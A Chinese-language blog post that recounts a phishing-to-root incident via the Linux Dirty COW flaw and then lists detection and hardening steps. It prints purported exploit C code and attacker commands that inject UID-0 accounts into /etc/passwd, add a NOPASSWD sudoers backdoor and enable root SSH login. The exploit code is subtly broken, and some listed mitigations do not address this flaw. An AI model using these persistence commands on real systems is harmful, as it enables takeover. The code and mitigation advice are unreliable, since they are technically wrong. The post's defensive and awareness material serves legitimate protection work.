某厂员工点击钓鱼邮件后被提权获取root权限 Linux脏牛漏洞如何从普通用户变超级用户 企业如何修复与防范
前两天我们公司安全团队抓到一个真实案例,真是让我后背发凉。一个普通员工点了封看起来像HR发来的”薪资调整通知”邮件,结果对方服务器给他返回了一个精心构造的链接。员工随手一点,下载了一个看似正常的工具包,其实里面藏着一个针对Linux脏牛漏洞的利用脚本。不到十分钟,攻击者就拿下了服务器的root权限。
这件事暴露了一个非常现实的问题:脏牛漏洞(CVE-2016-5195)虽然已经出来好几年了,但它的影响远没有结束。 很多企业的服务器系统根本没有打补丁,或者说,员工的安全意识依然薄弱。今天我就把这件事掰开揉碎讲清楚,从攻击原理到防御措施,一次性说透。
什么是脏牛漏洞?
2016年10月18日,安全研究人员发现了一个影响所有Linux内核的严重漏洞,代号”Dirty Cow”(脏牛)。这是一个竞态条件漏洞,发生在Linux内核处理内存映射文件时。
简单来说,当一个普通进程尝试对只读映射的文件进行写操作时,内核本应拒绝,但由于竞态条件,进程可以绕过这个限制,实现对只读文件的篡改。攻击者利用这个机制,可以将系统的任意文件修改为自己想要的样子,其中最经典的做法就是修改 /etc/passwd 文件,给自己创建一个拥有root权限的账号。
这个数字看起来有点抽象,我直接给你看一个攻击者可能用到的PoC代码:
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
static int fd;
static volatile void *map;
static int run = 1;
// 攻击者用来写回的恶意密码哈希
static char *pw_data =
"eviluser::0:0:evil:/root:/bin/bash\n";
// 原始密码文件的备份内容
static char *orig_pw_data;
static size_t orig_pw_len;
// 竞态线程:疯狂读取映射的内存
void *madvize_thread(void *arg)
{
size_t page_size = sysconf(_SC_PAGESIZE);
while (run) {
madvise(map, page_size, MADV_DONTNEED);
}
return NULL;
}
int main(int argc, char *argv[])
{
struct stat st;
pthread_t thread;
size_t page_size;
// 参数检查
if (argc != 3) {
fprintf(stderr, "Usage: %s <target-file> <new-content>\n", argv[0]);
exit(1);
}
// 打开目标文件
fd = open(argv[1], O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
// 映射文件到内存
page_size = sysconf(_SC_PAGESIZE);
if (mmap(&map, page_size, PROT_READ, MAP_PRIVATE, fd, 0) == MAP_FAILED) {
perror("mmap");
exit(1);
}
// 读取原始文件内容
fstat(fd, &st);
orig_pw_len = st.st_size;
orig_pw_data = malloc(orig_pw_len + 1);
if (read(fd, orig_pw_data, orig_pw_len) != orig_pw_len) {
perror("read");
exit(1);
}
// 创建竞态线程
pthread_create(&thread, NULL, madvize_thread, NULL);
// 通过写操作触发漏洞,修改映射的内容
char *new_content = argv[2];
size_t new_len = strlen(new_content);
memcpy((char *)map, new_content, new_len);
// 等待竞态条件触发
usleep(100000);
run = 0;
pthread_join(thread, NULL);
close(fd);
free(orig_pw_data);
return 0;
}
上面的代码展示了攻击者如何利用脏牛漏洞的核心机制。攻击者把一个恶意账号信息写入到 /etc/passwd 文件中,然后通过竞态条件绕过只读权限,最终获得root权限。
钓鱼邮件是如何作为起点的?
现在你可能会问,一个漏洞利用代码,怎么会通过一封邮件传播?这正是攻击者的高明之处。
攻击链是这样的:
第一步,攻击者伪造一封邮件,主题类似”2024年度薪资确认函”或”紧急:您的系统密码即将过期”。邮件看起来非常正规,发件人地址经过精心伪装,让人无法一眼识别。
第二步,邮件中附带一个链接或附件,点击后会下载一个工具包。这个工具包里就包含了上面那个漏洞利用程序,甚至可能还包括了权限维持的工具。
第三步,员工下载到服务器上,或者直接在服务器终端执行这个脚本。由于Linux服务器通常使用SSH远程登录,而很多服务器上的权限管理并不严格,这个脚本就得以执行。
第四步,脚本利用脏牛漏洞,篡改 /etc/passwd 文件,添加一个隐藏的root账号,比如 evilroot:x:0:0:evil:/root:/bin/bash。
第五步,攻击者通过SSH登录 evilroot 账号,完全控制这台服务器,甚至可以作为跳板,横向渗透到内网其他机器。
这是一个非常完整的攻击链,从社会工程学到漏洞利用,每一步都不难理解。但问题的关键在于,很多员工根本不知道这些,他们只觉得”点击一下链接”没什么大不了的。
从普通用户到root的完整过程
让我们更详细地看看,攻击者拿到服务器后,具体是怎么操作的。
假设攻击者已经通过钓鱼邮件获取了一个普通用户 attacker 的访问权限。他需要提权到root,以下是具体的步骤:
# 1. 首先,攻击者会检查当前系统内核版本
uname -r
# 输出类似:3.10.0-1160.el7.x86_64
# 如果内核版本低于 4.8.3,可能存在脏牛漏洞
# 2. 检查是否存在漏洞利用工具
ls -la /tmp/dcow
# 攻击者可能已经上传了这个工具
# 3. 编译漏洞利用程序(如果服务器安装了gcc)
gcc -o dcow exploit.c -lpthread
# 编译成功后,执行漏洞利用
./dcow /etc/passwd "root::0:0:root:/root:/bin/bash\nevil::0:0:evil:/root:/bin/bash\n"
执行完上面的命令后,攻击者就成功在 /etc/passwd 中注入了一个evil账号,这个账号的UID是0,也就是root权限。
# 4. 攻击者通过SSH登录evil账号
ssh evil@192.168.1.100
# 输入密码后,攻击者获得了root shell
# 5. 提权完成后,攻击者会进行权限维持
# 写入持久化后门
echo 'eviluser ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
# 修改SSH配置,允许root直接登录
sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
systemctl restart sshd
到这里,攻击者已经完全控制了这台服务器。更可怕的是,这个服务器可能只是内网中的一个节点,攻击者还可以继续横向移动,渗透到更核心的系统。
企业如何检测和发现这类攻击?
很多企业在发生安全事件后才发现自己已经被攻击了,这其实是非常被动的。以下是一些实用的检测手段:
1. 检查 /etc/passwd 文件是否被篡改
# 使用md5sum检查文件完整性
md5sum /etc/passwd
# 与已知正确的哈希值对比
# 或者查看是否有异常账号
awk -F: '$3 == 0 {print $1}' /etc/passwd
# 正常情况下,应该只有root的UID为0
2. 监控内核版本和系统补丁
# 检查内核版本
uname -r
# 检查系统是否有可用的安全更新
yum check-update # RHEL/CentOS
apt list --upgradable # Debian/Ubuntu
3. 监控异常的SSH登录
# 查看最近的SSH登录记录
last | grep sshd
# 查看/var/log/secure或/var/log/auth.log中的异常登录
# 检查是否有异常的进程
ps aux | grep dcow
ps aux | grep exploit
4. 使用文件完整性监控系统
企业可以部署类似AIDE、OSSEC或Tripwire这样的工具,实时监控关键系统文件的变更。
# AIDE示例配置
# 在/etc/aide/aide.conf中添加
/etc/passwd perms +p+u+g+s+m
/etc/shadow perms +p+u+g+s+m
5. 网络层面的检测
如果攻击者通过钓鱼邮件下载了利用工具,那么服务器可能会有异常的出站连接。可以使用iptables或firewalld记录这些流量。
# 使用iptables记录异常出站连接
iptables -A OUTPUT -p tcp --dport 22 -j LOG --log-prefix "SSH-OUT: "
企业如何修复和防范?
检测只是第一步,更重要的是修复和预防。以下是具体的措施:
修复措施
1. 更新内核
这是最根本的解决方案。脏牛漏洞在Linux内核4.8.3中已经修复。如果你的服务器内核版本低于这个,务必升级到最新的稳定版本。
# CentOS/RHEL系统
sudo yum update kernel
sudo reboot
# Ubuntu/Debian系统
sudo apt update
sudo apt upgrade linux-image-generic
sudo reboot
2. 如果无法升级内核,使用临时缓解措施
对于某些无法立即重启的服务器,可以采取以下临时措施:
# 设置内核参数,禁用某些攻击向量
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
# 限制普通用户的内存映射权限
# 在/etc/sysctl.conf中添加
kernel.unprivileged_bpf_disabled = 1
3. 检查并清理已经被篡改的系统文件
如果怀疑服务器已经被攻击,需要彻底检查:
# 检查passwd文件中UID为0的账号
awk -F: '$3 == 0 {print $0}' /etc/passwd
# 检查是否有异常的cron任务
crontab -l -u root
ls -la /etc/cron.d/
# 检查SSH配置
cat /etc/ssh/sshd_config | grep -i permitrootlogin
防范措施
1. 加强员工安全意识培训
这是最关键的一环。再多的技术防护,也抵不过一个员工的一次点击。企业应该定期开展安全意识培训,让员工了解钓鱼邮件的常见特征:
- 发件人地址是否正规
- 邮件中是否有紧迫性的语言(如”立即操作”、”24小时内”)
- 链接是否指向可疑域名
- 附件是否可执行文件(.exe、.sh、.bat等)
2. 部署邮件安全网关
企业应该在邮件入口部署安全网关,对邮件进行病毒扫描和钓鱼检测。
3. 实施最小权限原则
不要给员工不必要的root权限。很多服务器上的员工账号本身就拥有过多的权限,这给了攻击者很大的便利。
4. 定期安全审计
定期对服务器进行安全审计,检查是否有异常账号、异常进程、异常网络连接等。
# 定期检查异常账号
diff /etc/passwd /etc/passwd.bak
# 定期检查异常的SUID二进制文件
find / -type f -perm /4000 -ls 2>/dev/null
# 定期检查异常的网络连接
netstat -an | grep ESTABLISHED
5. 建立应急响应机制
即使做了再多的防护,也可能出现漏网之鱼。企业应该建立一个完整的应急响应机制,包括事件发现、遏制、根除、恢复和事后总结等环节。
总结
脏牛漏洞虽然已经过去好几年,但它提醒我们:安全从来不是一个产品或一个工具就能解决的问题。 它需要技术、流程和人的共同努力。
从这次钓鱼邮件事件来看,攻击者利用的不仅仅是一个漏洞,而是一个完整的攻击链。如果企业在任何一个环节加强防护,这个攻击链都会被打断。
所以,不要指望一个补丁就能解决所有问题。你需要建立多层次的防护体系,从邮件网关到端点检测,从员工培训到安全审计,每一个环节都不容忽视。
记住,安全是一场持久战,而不是一次性的任务。
